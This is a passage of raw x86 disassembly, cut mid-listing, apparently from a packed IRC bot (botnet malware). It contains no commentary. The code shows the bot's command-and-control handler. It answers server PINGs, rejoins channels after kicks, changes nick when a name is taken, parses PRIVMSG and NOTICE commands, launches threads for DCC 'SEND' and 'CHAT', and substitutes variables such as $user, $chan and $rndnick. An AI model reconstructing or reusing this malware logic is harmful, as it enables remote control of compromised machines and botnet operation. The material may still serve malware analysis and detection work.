ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C500 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41BF70 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BFD0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F75 push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BF70 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push offset asc_42CDC4 ; " :" push eax call sub_41C2E0 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 mov esi, offset asc_42CDC0 ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41CAD4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F75 cmp [ebp+var_8C], ebx jz loc_401F75 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah loc_401C3E: ; DATA XREF: .RLPack:004FB588r jz short loc_401C75 push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41BFD0 lea eax, [ebp+var_C4] push offset asc_42CDBC ; "!" push eax call sub_41CAD4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD:loc_401C3Ej push esi push offset aPing ; "PING" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409823 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a005 ; "005" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a302 ; "302" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BFD0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40AE84 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401E9A mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409823 lea eax, [ebp+var_2C4] push eax call sub_415D38 add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401F75 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E8D: ; CODE XREF: sub_401ACD+5F6j ; sub_401ACD+8B9j ... push [ebp+arg_4] call sub_409823 jmp loc_404260 ; --------------------------------------------------------------------------- loc_401E9A: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401FDD mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC3: ; CODE XREF: sub_401ACD+448j lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F10 lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F10 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C890 push [ebp+arg_1C] push edi call sub_41C8A0 add esp, 10h mov edi, 80h loc_401F10: ; CODE XREF: sub_401ACD+407j ; sub_401ACD+41Ej add esi, edi dec [ebp+arg_0] jnz short loc_401EC3 lea eax, [ebp+var_C4] test eax, eax jz short loc_401F75 cmp [ebp+arg_24], ebx jz short loc_401F75 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F4D push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BFD0 jmp loc_4036A2 ; --------------------------------------------------------------------------- loc_401F4D: ; CODE XREF: sub_401ACD+46Cj mov edi, [ebp+arg_18] xor esi, esi loc_401F52: ; CODE XREF: sub_401ACD+4A6j cmp [edi], bl jz short loc_401F69 lea eax, [ebp+var_E04] push eax push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401F7D loc_401F69: ; CODE XREF: sub_401ACD+487j inc esi add edi, 80h cmp esi, 3 jl short loc_401F52 loc_401F75: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej pop eax loc_401F78: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A40j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F7D: ; CODE XREF: sub_401ACD+49Aj lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F75 push eax call sub_41B9C0 push [ebp+arg_24] mov edi, eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F75 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C266 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409869 add esp, 24h jmp short loc_401F75 ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401ACD+3DCj push esi push offset aPart ; "PART" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401FFF push esi push offset aQuit ; "QUIT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402026 loc_401FFF: ; CODE XREF: sub_401ACD+51Fj mov edi, [ebp+arg_18] xor esi, esi loc_402004: ; CODE XREF: sub_401ACD+557j cmp [edi], bl jz short loc_40201A push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_402067 loc_40201A: ; CODE XREF: sub_401ACD+539j inc esi add edi, 80h cmp esi, 3 jl short loc_402004 loc_402026: ; CODE XREF: sub_401ACD+530j push [ebp+var_8C] push offset a353 ; "353" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4020C8 push [ebp+var_80] push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40205A mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40205A: ; CODE XREF: sub_401ACD+582j push [ebp+var_80] push offset unk_42CCFC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_401ACD+54Bj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CCDC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push [ebp+var_8C] push offset aPart ; "PART" call sub_41CA50 add esp, 18h test eax, eax jnz loc_401F75 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4020C8: ; CODE XREF: sub_401ACD+56Dj push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41CA50 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 cmp dword_429088, ebx jz loc_409644 loc_40211C: ; CODE XREF: sub_401ACD+615j ; sub_401ACD+627j push [ebp+var_8C] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_402160: ; CODE XREF: sub_401ACD+891j ; sub_401ACD+8CDj ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CCC0 mov [ebp+arg_8], eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40253B push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402402 cmp [ebp+var_A4], ebx jz loc_4023DB push [ebp+esi+var_88] mov edi, offset aS_2 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_1B98] push [ebp+esi+var_84] push edi push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C4] push offset unk_42CC84 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset sub_416563 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40228C: ; CODE XREF: sub_401ACD+7D3j cmp [ebp+var_19F0], ebx jnz loc_4082DE push 32h call dword_427080 ; Sleep jmp short loc_40228C ; --------------------------------------------------------------------------- loc_4022A2: ; CODE XREF: sub_401ACD+65Fj ; sub_401ACD+675j push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4022BB mov [ebp+var_4], 1 loc_4022BB: ; CODE XREF: sub_401ACD+7E5j cmp [ebp+var_88], ebx jz loc_401F75 push offset dword_42CC80 push [ebp+var_88] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4022E2 cmp [ebp+var_4], ebx jz short loc_4022EE loc_4022E2: ; CODE XREF: sub_401ACD+80Ej lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_4022EE: ; CODE XREF: sub_401ACD+813j cmp [ebp+var_84], ebx jz loc_401F75 inc [ebp+var_84] jz short loc_40233A cmp [ebp+arg_10], ebx jz short loc_40233A lea eax, [ebp+var_338] push eax call sub_41B9C0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C850 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402340 ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_401ACD+833j ; sub_401ACD+838j mov esi, [ebp+var_AC] loc_402340: ; CODE XREF: sub_401ACD+86Bj mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F75 push edi push offset dword_42CC74 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_40238B mov eax, dword_4CB888 mov eax, off_429160[eax*4] cmp [eax], bl jz short loc_40238B push eax push ecx push offset dword_42CC58 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: sub_401ACD+8A0j ; sub_401ACD+8B0j push edi push offset dword_42CC50 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_402160 push eax push ecx push offset dword_42CC38 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4023CA: ; CODE XREF: sub_401ACD+7B9j ; sub_401ACD+76B7j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42CBFC jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4023DB: ; CODE XREF: sub_401ACD+6DDj lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CBB8 loc_4023EE: ; CODE XREF: sub_401ACD+7C19j ; sub_401ACD+7C80j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 10h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_402402: ; CODE XREF: sub_401ACD+6D1j push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41CA50 loc_402413: ; DATA XREF: sub_4FADAE+9Bw ; .RLPack:004FB050o ... pop ecx test eax, eax pop ecx jnz loc_402551 cmp [ebp+var_A4], ebx loc_402423: ; DATA XREF: sub_4FADAE+A9r jz loc_40252A push 1Bh loc_40242B: ; DATA XREF: sub_4FADAE+222r call sub_40B602 test eax, eax pop ecx jnz loc_402519 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_2 ; "%s" push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax loc_402493: ; DATA XREF: sub_4FADAE+1C0r lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CB90 push eax call sub_41C266 loc_4024AB: ; DATA XREF: sub_4FB4A7+24r push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B3BA add esp, 18h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset sub_416000 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_402508 loc_4024F2: ; CODE XREF: sub_401ACD+A39j cmp [ebp+var_2904], ebx jnz loc_4082DE push 32h call dword_427080 ; Sleep jmp short loc_4024F2 ; --------------------------------------------------------------------------- loc_402508: ; CODE XREF: sub_401ACD+A23j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42CB58 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_401ACD+966j lea eax, [ebp+var_C4] push eax push offset unk_42CB28 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40252A: ; CODE XREF: sub_401ACD:loc_402423j lea eax, [ebp+var_C4] push eax push offset unk_42CAF4 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40253B: ; CODE XREF: sub_401ACD+6B6j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401F75 loc_402551: ; CODE XREF: sub_401ACD+94Aj mov edi, [edi] push edi push offset aC ; "c" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C push edi push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C cmp [ebp+var_A4], ebx jnz short loc_4025A2 push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 loc_4025A2: ; CODE XREF: sub_401ACD+AB9j cmp [ebp+arg_28], ebx jnz loc_409644 xor edi, edi cmp dword_4294CC, ebx jle loc_402757 mov [ebp+arg_20], offset dword_43DB90 loc_4025C0: ; CODE XREF: sub_401ACD+B12j push [ebp+arg_8] push [ebp+arg_20] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4025E6 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294CC jl short loc_4025C0 jmp loc_402757 ; --------------------------------------------------------------------------- loc_4025E6: ; CODE XREF: sub_401ACD+B02j push offset asc_42CDC4 ; " :" push [ebp+arg_0] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43DBA8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BFD0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40263B: ; CODE XREF: sub_401ACD+C1Fj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_4026A7 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026A7 lea eax, dword_43DB90[edi] push eax call sub_41B9C0 add [ebp+var_C], eax pop ecx jz short loc_4026E2 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4026E2 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch jmp short loc_4026E2 ; --------------------------------------------------------------------------- loc_4026A7: ; CODE XREF: sub_401ACD+B96j ; sub_401ACD+B9Dj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026E2 lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BFD0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 18h loc_4026E2: ; CODE XREF: sub_401ACD+BAFj ; sub_401ACD+BC3j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40263B lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_402742 mov eax, [edi] cmp eax, ebx jz short loc_402742 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch loc_402742: ; CODE XREF: sub_401ACD+C5Aj ; sub_401ACD+C60j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026FF mov [ebp+var_2C8], 1 loc_402757: ; CODE XREF: sub_401ACD+AE6j ; sub_401ACD+B14j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_402770 cmp [ebp+var_2C8], ebx jz loc_402961 loc_402770: ; CODE XREF: sub_401ACD+C95j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_41843B lea eax, [ebp+var_C4] push eax push offset aUser_2 ; "$user" push edi call sub_41843B push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_41843B push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_41843B add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_41843B mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C2E0 add esp, 14h loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj 